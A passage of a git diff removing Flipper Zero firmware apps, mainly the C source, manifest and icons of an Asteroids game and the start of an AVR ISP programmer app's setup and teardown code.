while a factor > 1 will make it detect the collision - * only after they are a bit overlapping. It basically is used to - * rescale the distance. - * - * Note that in this simplified 2D world, objects are all considered - * spheres (this is why this function only takes the radius). This - * is, after all, kinda accurate for asteroids, for bullets, and - * even for the ship "core" itself. */ -bool objects_are_colliding(float x1, float y1, float r1, float x2, float y2, float r2, float factor) { - /* The objects are colliding if the distance between object 1 and 2 - * is smaller than the sum of the two radiuses r1 and r2. - * So it would be like: sqrt((x1-x2)^2+(y1-y2)^2) < r1+r2. - * However we can avoid computing the sqrt (which is slow) by - * squaring the second term and removing the square root, making - * the comparison like this: - * - * (x1-x2)^2+(y1-y2)^2 < (r1+r2)^2. */ - float dx = (x1 - x2) * factor; - float dy = (y1 - y2) * factor; - float rsum = r1 + r2; - return dx * dx + dy * dy < rsum * rsum; -} - -/* ================================ Bullets ================================ */ -//@todo ship_fire_bullet -/* Create a new bullet headed in the same direction of the ship. */ -void ship_fire_bullet(AsteroidsApp* app) { - // No power ups, only 5 bullets allowed - if(isPowerUpActive(app, PowerUpTypeFirePower) == false && app->bullets_num >= 5) return; - - // Double the Fire Power - if(isPowerUpActive(app, PowerUpTypeFirePower) && (app->bullets_num >= (MAXBUL))) return; - - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_bullet_fired); - Bullet* b = &app->bullets[app->bullets_num]; - b->x = app->ship.x; - b->y = app->ship.y; - b->vx = -sin(app->ship.rot); - b->vy = cos(app->ship.rot); - - /* Ship should fire from its head, not in the middle. */ - b->x += b->vx * 5; - b->y += b->vy * 5; - - /* Give the bullet some velocity (for now the vector is just - * normalized to 1). */ - b->vx *= 3; - b->vy *= 3; - - /* It's more realistic if we add the velocity vector of the - * ship, too. Otherwise if the ship is going fast the bullets - * will be slower, which is not how the world works. */ - b->vx += app->ship.vx; - b->vy += app->ship.vy; - - b->ttl = TTLBUL; /* The bullet will disappear after N ticks. */ - app->bullets_num++; -} - -/* Remove the specified bullet by id (index in the array). */ -void remove_bullet(AsteroidsApp* app, int bid) { - /* Replace the top bullet with the empty space left - * by the removal of this bullet. This way we always take the - * array dense, which is an advantage when looping. */ - int n = --app->bullets_num; - if(n && bid != n) app->bullets[bid] = app->bullets[n]; -} - -/* ================================ Asteroids ================================ */ -/* Create a new asteroid, away from the ship. Return the - * pointer to the asteroid object, so that the caller can change - * certain things of the asteroid if needed. */ -Asteroid* add_asteroid(AsteroidsApp* app) { - if(app->asteroids_num == MAXAST) return NULL; - float size = 4 + rand() % 15; - float min_distance = 20; - float x, y; - do { - x = rand() % SCREEN_XRES; - y = rand() % SCREEN_YRES; - } while(distance(app->ship.x, app->ship.y, x, y) < min_distance + size); - Asteroid* a = &app->asteroids[app->asteroids_num++]; - a->x = x; - a->y = y; - a->vx = 2 * (-.5 + ((float)rand() / RAND_MAX)); - a->vy = 2 * (-.5 + ((float)rand() / RAND_MAX)); - a->size = size; - a->rot = 0; - a->rot_speed = ((float)rand() / RAND_MAX) / 10; - if(app->ticks & 1) a->rot_speed = -(a->rot_speed); - a->shape_seed = rand() & 255; - return a; -} - -/* Remove the specified asteroid by id (index in the array). */ -void remove_asteroid(AsteroidsApp* app, int id) { - /* Replace the top asteroid with the empty space left - * by the removal of this one. This way we always take the - * array dense, which is an advantage when looping. */ - int n = --app->asteroids_num; - if(n && id != n) app->asteroids[id] = app->asteroids[n]; -} - -/* Called when an asteroid was reached by a bullet. The asteroid - * hit is the one with the specified 'id'. */ -void asteroid_was_hit(AsteroidsApp* app, int id) { - float sizelimit = 6; // Smaller than that polverize in one shot. - Asteroid* a = &app->asteroids[id]; - - /* Asteroid is large enough to break into fragments. */ - float size = a->size; - float x = a->x, y = a->y; - remove_asteroid(app, id); - if(size > sizelimit) { - int max_fragments = size / sizelimit; - int fragments = 2 + rand() % max_fragments; - float newsize = size / fragments; - if(newsize < 2) newsize = 2; - for(int j = 0; j < fragments; j++) { - a = add_asteroid(app); - if(a == NULL) break; // Too many asteroids on screen. - a->x = x + -(size / 2) + rand() % (int)newsize; - a->y = y + -(size / 2) + rand() % (int)newsize; - a->size = newsize; - } - } else { - app->score++; - if(app->score > app->highscore) { - app->is_new_highscore = true; - app->highscore = app->score; // Show on Game Over Screen and future main menu - } - } -} - -/* ================================ Power Up ================================ */ -bool isPowerUpCollidingWithEachOther(AsteroidsApp* app, float x, float y, float size) { - for(int i = 0; i < app->powerUps_num; i++) { - PowerUp* p2 = &app->powerUps[i]; - if(objects_are_colliding(x, y, size, p2->x, p2->y, p2->size, 1)) return true; - } - return false; -} - -bool should_trigger_rare_powerUp(PowerUpType selected_powerUpType) { - switch(selected_powerUpType) { - case PowerUpTypeLife: // Make extra life power up more rare - return rand() % 10 != 0; - case PowerUpTypeShield: // Make shield power up more rare - return rand() % 4 != 0; - default: - return true; - } -} - -//@todo Add PowerUp -PowerUp* add_powerUp(AsteroidsApp* app) { - FURI_LOG_I(TAG, "add_powerUp: %i", app->powerUps_num); - if(app->powerUps_num == MAXPOWERUPS) return NULL; // Max Power Ups reached - if(app->lives == MAXLIVES) return NULL; // Max Lives reached - - // Randomly select power up for display - PowerUpType selected_powerUpType = rand() % Number_of_PowerUps; - FURI_LOG_I(TAG, "[add_powerUp] Power Up Selected: %i", selected_powerUpType); - - // Don't add already existing power ups - if(isPowerUpAlreadyExists(app, selected_powerUpType)) { - FURI_LOG_D(TAG, "[add_powerUp] Power Up %i already active", selected_powerUpType); - return NULL; - } - - // Make some power ups more rare - if(!should_trigger_rare_powerUp(selected_powerUpType)) { - FURI_LOG_D(TAG, "[add_powerUp] Power Up %i not triggered", selected_powerUpType); - return NULL; - } - - float size = 10; - float min_distance = 20; - float x, y; - do { - //Make sure power up is not spawned on the edge of the screen - x = rand() % (SCREEN_XRES - (int)size); - y = rand() % (SCREEN_YRES - (int)size); - - //Also keep it away from the lives and score at the top of screen - if(y < size) y = size; - } while( - ((distance(app->ship.x, app->ship.y, x, y) < min_distance + size) || - isPowerUpCollidingWithEachOther(app, x, y, size))); - - PowerUp* p = &app->powerUps[app->powerUps_num++]; - p->x = x; - p->y = y; - //@todo Disable Velocity - p->vx = 0; //2 * (-.5 + ((float)rand() / RAND_MAX)); - p->vy = 0; //2 * (-.5 + ((float)rand() / RAND_MAX)); - p->display_ttl = 200; - p->ttl = POWERUPSTTL; - p->size = size; - // p->size = size; - // p->rot = 0; - // p->rot_speed = ((float)rand() / RAND_MAX) / 10; - // if(app->ticks & 1) p->rot_speed = -(p->rot_speed); - - //@todo add powerup type, for now hardcoding to firepower - p->powerUpType = selected_powerUpType; - p->isPowerUpActive = false; - FURI_LOG_I(TAG, "[add_powerUp] Power Up Added: %i", p->powerUpType); - return p; -} - -bool isPowerUpActive(AsteroidsApp* const app, PowerUpType const powerUpType) { - for(int i = 0; i < app->powerUps_num; i++) { - // PowerUp* p = &app->powerUps[i]; - // if(p->powerUpType == powerUpType && p->ttl > 0 && p->display_ttl == 0) return true; - if(app->powerUps[i].isPowerUpActive && app->powerUps[i].powerUpType == powerUpType) { - return true; - } - } - return false; -} - -bool isPowerUpAlreadyExists(AsteroidsApp* const app, PowerUpType const powerUpType) { - for(int i = 0; i < app->powerUps_num; i++) { - if(app->powerUps[i].powerUpType == powerUpType) return true; - } - return false; -} - -//@todo remove_powerUp -void remove_powerUp(AsteroidsApp* app, int id) { - FURI_LOG_I(TAG, "remove_powerUp: %i", id); - // Invalid ID, ignore - if(id < 0) { - FURI_LOG_E(TAG, "remove_powerUp: Invalid ID: %i", id); - return; - } - // TODO: Break this out into object types that set the game state - // Return the bullet period to normal - if(app->powerUps[id].powerUpType == PowerUpTypeFirePower) { - app->bullet_min_period = 200; - } - - /* Replace the top powerUp with the empty space left - * by the removal of this one. This way we always take the - * array dense, which is an advantage when looping. */ - int n = --app->powerUps_num; - if(n && id != n) app->powerUps[id] = app->powerUps[n]; -} - -void remove_all_astroids_and_bullets(AsteroidsApp* app) { - app->score += app->asteroids_num; - app->asteroids_num = 0; - app->bullets_num = 0; -} - -//@todo powerUp_was_hit -void powerUp_was_hit(AsteroidsApp* app, int id) { - PowerUp* p = &app->powerUps[id]; - if(p->display_ttl == 0) return; // Don't collect if already collected or expired - - // Vibrate to indicate power up was collected - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_powerup_collected); - - switch(p->powerUpType) { - case PowerUpTypeLife: - if(app->lives < MAXLIVES) app->lives++; - remove_powerUp(app, id); - break; - case PowerUpTypeFirePower: - p->ttl = POWERUPSTTL / 2; - app->bullet_min_period = 100; - break; - case PowerUpTypeNuke: - //TODO: Animate explosion - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_nuke); - // Simulate nuke explosion - remove_all_astroids_and_bullets(app); - break; - default: - break; - } - p->display_ttl = 0; - p->isPowerUpActive = true; -} - -/* ================================ Game States ================================ */ -/* Set gameover state. When in game-over mode, the game displays a gameover - * text with a background of many asteroids floating around. */ -void game_over(AsteroidsApp* app) { - if(app->is_new_highscore) save_game(app); // Save highscore but only on change - app->gameover = true; - app->lives = GAME_START_LIVES; // Show 3 lives in game over screen to match new game start -} - -/* Function called when a collision between the asteroid and the - * ship is detected. */ -void ship_was_hit(AsteroidsApp* app) { - app->ship_hit = SHIP_HIT_ANIMATION_LEN; - if(app->lives) { - app->lives--; - } else { - game_over(app); - } -} - -/* Restart game after the ship is hit. Will reset the ship position, bullets - * and asteroids to restart the game. */ -void restart_game(AsteroidsApp* app) { - app->ship.x = SCREEN_XRES / 2; - app->ship.y = SCREEN_YRES / 2; - app->ship.rot = PI; /* Start headed towards top. */ - app->ship.vx = 0; - app->ship.vy = 0; - app->bullets_num = 0; - app->powerUps_num = 0; - app->last_bullet_tick = 0; - app->bullet_min_period = 200; - app->asteroids_num = 0; - app->ship_hit = 0; -} - -/* Called after gameover to restart the game. This function - * also calls restart_game(). */ -void restart_game_after_gameover(AsteroidsApp* app) { - app->gameover = false; - app->ticks = 0; - app->score = 0; - app->is_new_highscore = false; - app->lives = GAME_START_LIVES - 1; - restart_game(app); -} - -/* ================================ Position & Status ================================ */ -/* Move bullets. */ -void update_bullets_position(AsteroidsApp* app) { - for(int j = 0; j < app->bullets_num; j++) { - update_pos_by_velocity( - &app->bullets[j].x, &app->bullets[j].y, app->bullets[j].vx, app->bullets[j].vy); - if(--app->bullets[j].ttl == 0) { - remove_bullet(app, j); - j--; /* Process this bullet index again: the removal will - fill it with the top bullet to take the array dense. */ - } - } -} - -/* Move asteroids. */ -void update_asteroids_position(AsteroidsApp* app) { - for(int j = 0; j < app->asteroids_num; j++) { - update_pos_by_velocity( - &app->asteroids[j].x, &app->asteroids[j].y, app->asteroids[j].vx, app->asteroids[j].vy); - app->asteroids[j].rot += app->asteroids[j].rot_speed; - if(app->asteroids[j].rot < 0) - app->asteroids[j].rot = 2 * PI; - else if(app->asteroids[j].rot > 2 * PI) - app->asteroids[j].rot = 0; - } -} - -bool should_add_powerUp(AsteroidsApp* app) { - srand(furi_get_tick()); - int random_number = rand() % 100 + 1; - - // The chance of spawning a power-up decreases as the game goes on - int threshold = 100 - (app->score * 5); - - // Make sure the threshold doesn't go below 10 - threshold = (threshold < 10) ? 10 : threshold; - // FURI_LOG_I( - // TAG, - // "Random number: %d, threshold: %d Bool: %d", - // random_number, - // threshold, - // random_number <= threshold); - return random_number <= threshold; -} - -void update_powerUps_position(AsteroidsApp* app) { - for(int j = 0; j < app->powerUps_num; j++) { - // @todo update_powerUps_position - if(app->powerUps[j].display_ttl > 0) { - update_pos_by_velocity( - &app->powerUps[j].x, &app->powerUps[j].y, app->powerUps[j].vx, app->powerUps[j].vy); - } - } -} - -// @todo update_powerUp_status -/* This updates the state of each power up collected and removes them if they have expired. */ -void update_powerUp_status(AsteroidsApp* app) { - for(int j = 0; j < app->powerUps_num; j++) { - if(app->powerUps[j].ttl > 0 && app->powerUps[j].isPowerUpActive) { - // Only decrement ttl if we actually picked up power up - app->powerUps[j].ttl--; - } else if(app->powerUps[j].display_ttl > 0) { - app->powerUps[j].display_ttl--; - } else if(app->powerUps[j].ttl == 0 || app->powerUps[j].display_ttl == 0) { - FURI_LOG_I( - TAG, - "[update_powerUp_status] Power up expired!, ttl: %lu, display_ttl: %lu id: %d", - app->powerUps[j].ttl, - app->powerUps[j].display_ttl, - j); - // we've reached the end of life of the power up - // Time to remove it - app->powerUps[j].isPowerUpActive = false; - remove_powerUp(app, j); - j--; /* Process this power up index again: the removal will - fill it with the top power up to take the array dense. */ - } else { - FURI_LOG_E( - TAG, - "[update_powerUp_status] Power up error! Invalid Index: %d ttl: %lu display_ttl: %lu PowerUp_Num: %d", - j, - app->powerUps[j].ttl, - app->powerUps[j].display_ttl, - app->powerUps_num); - } - } -} - -/* Collision detection and game state update based on collisions. */ -void detect_collisions(AsteroidsApp* app) { - /* Detect collision between bullet and asteroid. */ - for(int j = 0; j < app->bullets_num; j++) { - Bullet* b = &app->bullets[j]; - for(int i = 0; i < app->asteroids_num; i++) { - Asteroid* a = &app->asteroids[i]; - if(objects_are_colliding(a->x, a->y, a->size, b->x, b->y, 1.5, 1)) { - asteroid_was_hit(app, i); - remove_bullet(app, j); - /* The bullet no longer exist. Break the loop. - * However we want to start processing from the - * same bullet index, since now it is used by - * another bullet (see remove_bullet()). */ - j--; /* Scan this j value again. */ - break; - } - } - } - - /* Detect collision between ship and asteroid. */ - for(int j = 0; j < app->asteroids_num; j++) { - Asteroid* a = &app->asteroids[j]; - if(objects_are_colliding(a->x, a->y, a->size, app->ship.x, app->ship.y, 4, 1)) { - if(isPowerUpActive(app, PowerUpTypeShield)) { - // Asteroid was hit with shield - notification_message( - furi_record_open(RECORD_NOTIFICATION), &sequence_bullet_fired); - asteroid_was_hit(app, j); - j--; /* Scan this j value again. */ - } else { - // No sheild active, take damage - ship_was_hit(app); - break; - } - } - } - - /* Detect collision between ship and powerUp. */ - for(int j = 0; j < app->powerUps_num; j++) { - PowerUp* p = &app->powerUps[j]; - if(objects_are_colliding(p->x, p->y, p->size, app->ship.x, app->ship.y, 4, 1)) { - powerUp_was_hit(app, j); - // break; - } - } -} - -/* This is the main game execution function, called 10 times for - * second (with the Flipper screen latency, an higher FPS does not - * make sense). In this function we update the position of objects based - * on velocity. Detect collisions. Update the score and so forth. - * - * Each time this function is called, app->tick is incremented. */ -void game_tick(void* ctx) { - AsteroidsApp* app = ctx; - - /* There are two special screens: - * - * 1. Ship was hit, we frozen the game as long as ship_hit isn't zero - * again, and show an animation of a rotating ship. */ - if(app->ship_hit) { - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_crash); - app->ship.rot += 0.5; - app->ship_hit--; - view_port_update(app->view_port); - if(app->ship_hit == 0) { - restart_game(app); - } - return; - } else if(app->gameover) { - /* 2. Game over. We need to update only background asteroids. In this - * state the game just displays a GAME OVER text with the floating - * asteroids in backgroud. */ - - if(key_pressed_time(app, InputKeyOk) > 100) { - restart_game_after_gameover(app); - } - update_asteroids_position(app); - view_port_update(app->view_port); - return; - } else if(app->paused) { - if(key_pressed_time(app, InputKeyBack) > 100 || key_pressed_time(app, InputKeyOk) > 100) { - app->paused = false; - } - view_port_update(app->view_port); - return; - } - - /* Handle keypresses. */ - if(app->pressed[InputKeyLeft]) app->ship.rot -= .35; - if(app->pressed[InputKeyRight]) app->ship.rot += .35; - if(app->pressed[InputKeyUp]) { - app->ship.vx -= 0.5 * (float)sin(app->ship.rot); - app->ship.vy += 0.5 * (float)cos(app->ship.rot); - } else if(app->pressed[InputKeyDown]) { - notification_message(furi_record_open(RECORD_NOTIFICATION), &sequence_brake); - app->ship.vx *= 0.75; - app->ship.vy *= 0.75; - } - - /* Fire a bullet if needed. app->fire is set in - * asteroids_update_keypress_state() since depends on exact - * pressure timing. */ - if(app->fire) { - uint32_t now = furi_get_tick(); - if(now - app->last_bullet_tick >= app->bullet_min_period) { - ship_fire_bullet(app); - app->last_bullet_tick = now; - } - app->fire = false; - } - - // DEBUG: Show Power Up Status - // for(int j = 0; j < app->powerUps_num; j++) { - // PowerUp* p = &app->powerUps[j]; - // FURI_LOG_I( - // TAG, - // "Power Up Type: %d TTL: %lu Display_TTL: %lu PowerUpNum: %i", - // p->powerUpType, - // p->ttl, - // p->display_ttl, - // app->powerUps_num); - // } - - /* Update positions and detect collisions. */ - update_pos_by_velocity(&app->ship.x, &app->ship.y, app->ship.vx, app->ship.vy); - update_bullets_position(app); - update_asteroids_position(app); - update_powerUp_status(app); //@todo update_powerUp_status - update_powerUps_position(app); - detect_collisions(app); - - /* From time to time, create a new asteroid. The more asteroids - * already on the screen, the smaller probability of creating - * a new one. */ - if(app->asteroids_num == 0 || (random() % 5000) < (30 / (1 + app->asteroids_num))) { - add_asteroid(app); - } - - /* From time to time add a random power up */ - //@todo game tick - // if(app->powerUps_num == 0 || random() % (500 + (100 * (int)app->score)) <= app->powerUps_num) { - if(should_add_powerUp(app)) { - add_powerUp(app); - } - - app->ticks++; - view_port_update(app->view_port); -} - -/* ======================== Flipper specific code =========================== */ - -bool load_game(AsteroidsApp* app) { - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_migrate(storage, EXT_PATH("apps/Games/game_asteroids.save"), SAVING_FILENAME); - - File* file = storage_file_alloc(storage); - uint16_t bytes_readed = 0; - if(storage_file_open(file, SAVING_FILENAME, FSAM_READ, FSOM_OPEN_EXISTING)) { - bytes_readed = storage_file_read(file, app, sizeof(AsteroidsApp)); - } - storage_file_close(file); - storage_file_free(file); - - furi_record_close(RECORD_STORAGE); - - return bytes_readed == sizeof(AsteroidsApp); -} - -void save_game(AsteroidsApp* app) { - Storage* storage = furi_record_open(RECORD_STORAGE); - - File* file = storage_file_alloc(storage); - if(storage_file_open(file, SAVING_FILENAME, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_write(file, app, sizeof(AsteroidsApp)); - } - storage_file_close(file); - storage_file_free(file); - - furi_record_close(RECORD_STORAGE); -} - -/* Here all we do is putting the events into the queue that will be handled - * in the while() loop of the app entry point function. */ -void input_callback(InputEvent* input_event, void* ctx) { - AsteroidsApp* app = ctx; - furi_message_queue_put(app->event_queue, input_event, FuriWaitForever); -} - -/* Allocate the application state and initialize a number of stuff. - * This is called in the entry point to create the application state. */ -AsteroidsApp* asteroids_app_alloc() { - AsteroidsApp* app = malloc(sizeof(AsteroidsApp)); - - load_game(app); - - app->gui = furi_record_open(RECORD_GUI); - app->view_port = view_port_alloc(); - view_port_draw_callback_set(app->view_port, render_callback, app); - view_port_input_callback_set(app->view_port, input_callback, app); - gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); - app->event_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - app->running = 1; /* Turns 0 when back is pressed. */ - - restart_game_after_gameover(app); - memset(app->pressed, 0, sizeof(app->pressed)); - return app; -} - -/* Free what the application allocated. It is not clear to me if the - * Flipper OS, once the application exits, will be able to reclaim space - * even if we forget to free something here. */ -void asteroids_app_free(AsteroidsApp* app) { - furi_assert(app); - - // View related. - view_port_enabled_set(app->view_port, false); - gui_remove_view_port(app->gui, app->view_port); - view_port_free(app->view_port); - furi_record_close(RECORD_GUI); - furi_message_queue_free(app->event_queue); - app->gui = NULL; - - free(app); -} - -/* Return the time in milliseconds the specified key is continuously - * pressed. Or 0 if it is not pressed. */ -uint32_t key_pressed_time(AsteroidsApp* app, InputKey key) { - return app->pressed[key] == 0 ? 0 : furi_get_tick() - app->pressed[key]; -} - -/* Handle keys interaction. */ -void asteroids_update_keypress_state(AsteroidsApp* app, InputEvent input) { - // Allow Rapid fire - if(input.key == InputKeyOk) { - app->fire = true; - } - - if(input.type == InputTypePress) { - app->pressed[input.key] = furi_get_tick(); - } else if(input.type == InputTypeRelease) { - app->pressed[input.key] = 0; - } -} - -int32_t asteroids_app_entry(void* p) { - UNUSED(p); - AsteroidsApp* app = asteroids_app_alloc(); - - /* Create a timer. We do data analysis in the callback. */ - FuriTimer* timer = furi_timer_alloc(game_tick, FuriTimerTypePeriodic, app); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 10); - - /* This is the main event loop: here we get the events that are pushed - * in the queue by input_callback(), and process them one after the - * other. */ - InputEvent input; - while(app->running) { - FuriStatus qstat = furi_message_queue_get(app->event_queue, &input, 100); - if(qstat == FuriStatusOk) { - // if(DEBUG_MSG) - // FURI_LOG_E(TAG, "Main Loop - Input: type %d key %u", input.type, input.key); - /* Handle Pause */ - if(input.type == InputTypeShort && input.key == InputKeyBack) { - app->paused = !app->paused; - if(app->paused) { - furi_timer_stop(timer); - } else { - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 10); - } - } - - /* Handle navigation here. Then handle view-specific inputs - * in the view specific handling function. */ - if(input.type == InputTypeLong && input.key == InputKeyBack) { - // Save High Score even if player didn't finish game - if(app->is_new_highscore) save_game(app); // Save highscore but only on change - app->running = 0; - } else { - asteroids_update_keypress_state(app, input); - } - } else { - /* Useful to understand if the app is still alive when it - * does not respond because of bugs. */ - // if(DEBUG_MSG) { - // static int c = 0; - // c++; - // if(!(c % 20)) FURI_LOG_E(TAG, "Loop timeout"); - // } - } - } - - furi_timer_free(timer); - asteroids_app_free(app); - return 0; -} diff --git a/applications/external/asteroids/appicon.png b/applications/external/asteroids/appicon.png deleted file mode 100644 index 45da095af..000000000 Binary files a/applications/external/asteroids/appicon.png and /dev/null differ diff --git a/applications/external/asteroids/application.fam b/applications/external/asteroids/application.fam deleted file mode 100644 index 608809c02..000000000 --- a/applications/external/asteroids/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="asteroids", - name="Asteroids", - apptype=FlipperAppType.EXTERNAL, - entry_point="asteroids_app_entry", - cdefines=["APP_ASTEROIDS"], - requires=["gui"], - stack_size=8 * 1024, - fap_icon="appicon.png", - fap_icon_assets="assets", - fap_category="Games", - fap_author="@antirez & @SimplyMinimal", - fap_weburl="https://github.com/antirez/flipper-asteroids", - fap_version="1.0", - fap_description="Asteroids game", -) diff --git a/applications/external/asteroids/assets/ammo_10x10.png b/applications/external/asteroids/assets/ammo_10x10.png deleted file mode 100644 index b112a1a7f..000000000 Binary files a/applications/external/asteroids/assets/ammo_10x10.png and /dev/null differ diff --git a/applications/external/asteroids/assets/ammo_11x11.png b/applications/external/asteroids/assets/ammo_11x11.png deleted file mode 100644 index 55e59f858..000000000 Binary files a/applications/external/asteroids/assets/ammo_11x11.png and /dev/null differ diff --git a/applications/external/asteroids/assets/firepower_12x12.png b/applications/external/asteroids/assets/firepower_12x12.png deleted file mode 100644 index 711a29200..000000000 Binary files a/applications/external/asteroids/assets/firepower_12x12.png and /dev/null differ diff --git a/applications/external/asteroids/assets/firepower_9x10.png b/applications/external/asteroids/assets/firepower_9x10.png deleted file mode 100644 index 4070b6c88..000000000 Binary files a/applications/external/asteroids/assets/firepower_9x10.png and /dev/null differ diff --git a/applications/external/asteroids/assets/firepower_shifted_9x10.png b/applications/external/asteroids/assets/firepower_shifted_9x10.png deleted file mode 100644 index 9c8506d18..000000000 Binary files a/applications/external/asteroids/assets/firepower_shifted_9x10.png and /dev/null differ diff --git a/applications/external/asteroids/assets/heart_10x10.png b/applications/external/asteroids/assets/heart_10x10.png deleted file mode 100644 index 0d66b49ee..000000000 Binary files a/applications/external/asteroids/assets/heart_10x10.png and /dev/null differ diff --git a/applications/external/asteroids/assets/heart_12x12.png b/applications/external/asteroids/assets/heart_12x12.png deleted file mode 100644 index b1cfdcdfe..000000000 Binary files a/applications/external/asteroids/assets/heart_12x12.png and /dev/null differ diff --git a/applications/external/asteroids/assets/nuke_10x10.png b/applications/external/asteroids/assets/nuke_10x10.png deleted file mode 100644 index 8b49fc98e..000000000 Binary files a/applications/external/asteroids/assets/nuke_10x10.png and /dev/null differ diff --git a/applications/external/asteroids/assets/shield-frame.png b/applications/external/asteroids/assets/shield-frame.png deleted file mode 100644 index 60a670f0e..000000000 Binary files a/applications/external/asteroids/assets/shield-frame.png and /dev/null differ diff --git a/applications/external/asteroids/assets/shield_clean.png b/applications/external/asteroids/assets/shield_clean.png deleted file mode 100644 index 59eefb717..000000000 Binary files a/applications/external/asteroids/assets/shield_clean.png and /dev/null differ diff --git a/applications/external/asteroids/assets/split_shield_10x10.png b/applications/external/asteroids/assets/split_shield_10x10.png deleted file mode 100644 index bff879ca1..000000000 Binary files a/applications/external/asteroids/assets/split_shield_10x10.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/application.fam b/applications/external/avr_isp_programmer/application.fam deleted file mode 100644 index f355cfcb5..000000000 --- a/applications/external/avr_isp_programmer/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="avr_isp", - name="[AVR] AVR Flasher", - apptype=FlipperAppType.EXTERNAL, - entry_point="avr_isp_app", - requires=["gui"], - stack_size=4 * 1024, - fap_description="Application for flashing AVR microcontrollers", - fap_version="1.0", - fap_icon="avr_app_icon_10x10.png", - fap_category="GPIO", - fap_icon_assets="images", - fap_private_libs=[ - Lib( - name="driver", - ), - ], -) diff --git a/applications/external/avr_isp_programmer/avr_app_icon_10x10.png b/applications/external/avr_isp_programmer/avr_app_icon_10x10.png deleted file mode 100644 index 533787fe3..000000000 Binary files a/applications/external/avr_isp_programmer/avr_app_icon_10x10.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/avr_isp_app.c b/applications/external/avr_isp_programmer/avr_isp_app.c deleted file mode 100644 index 740dc3610..000000000 --- a/applications/external/avr_isp_programmer/avr_isp_app.c +++ /dev/null @@ -1,179 +0,0 @@ -#include "avr_isp_app_i.h" - -static bool avr_isp_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - AvrIspApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool avr_isp_app_back_event_callback(void* context) { - furi_assert(context); - AvrIspApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void avr_isp_app_tick_event_callback(void* context) { - furi_assert(context); - AvrIspApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -AvrIspApp* avr_isp_app_alloc() { - AvrIspApp* app = malloc(sizeof(AvrIspApp)); - - app->file_path = furi_string_alloc(); - furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); - app->error = AvrIspErrorNoError; - - // GUI - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&avr_isp_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, avr_isp_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, avr_isp_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, avr_isp_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // SubMenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, AvrIspViewSubmenu, submenu_get_view(app->submenu)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view(app->view_dispatcher, AvrIspViewWidget, widget_get_view(app->widget)); - - // Text Input - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, AvrIspViewTextInput, text_input_get_view(app->text_input)); - - // Popup - app->popup = popup_alloc(); - view_dispatcher_add_view(app->view_dispatcher, AvrIspViewPopup, popup_get_view(app->popup)); - - //Dialog - app->dialogs = furi_record_open(RECORD_DIALOGS); - - // Programmer view - app->avr_isp_programmer_view = avr_isp_programmer_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewProgrammer, - avr_isp_programmer_view_get_view(app->avr_isp_programmer_view)); - - // Reader view - app->avr_isp_reader_view = avr_isp_reader_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewReader, - avr_isp_reader_view_get_view(app->avr_isp_reader_view)); - - // Writer view - app->avr_isp_writer_view = avr_isp_writer_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewWriter, - avr_isp_writer_view_get_view(app->avr_isp_writer_view)); - - // Chip detect view - app->avr_isp_chip_detect_view = avr_isp_chip_detect_view_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - AvrIspViewChipDetect, - avr_isp_chip_detect_view_get_view(app->avr_isp_chip_detect_view)); - - // Enable 5v power, multiple attempts to avoid issues with power chip protection false triggering - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - furi_delay_ms(10); - } - - scene_manager_next_scene(app->scene_manager, AvrIspSceneStart); - - return app; -} //-V773 - -void avr_isp_app_free(AvrIspApp* app) { - furi_assert(app); - - // Disable 5v power - if(furi_hal_power_is_otg_enabled()) { - furi_hal_power_disable_otg(); - } - - // Submenu - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewSubmenu); - submenu_free(app->submenu); - - // Widget - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewWidget); - widget_free(app->widget); - - // TextInput - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewTextInput); - text_input_free(app->text_input); - - // Popup - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewPopup); - popup_free(app->popup); - - //Dialog - furi_record_close(RECORD_DIALOGS); - - // Programmer view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewProgrammer); - avr_isp_programmer_view_free(app->avr_isp_programmer_view); - - // Reader view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewReader); - avr_isp_reader_view_free(app->avr_isp_reader_view); - - // Writer view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewWriter); 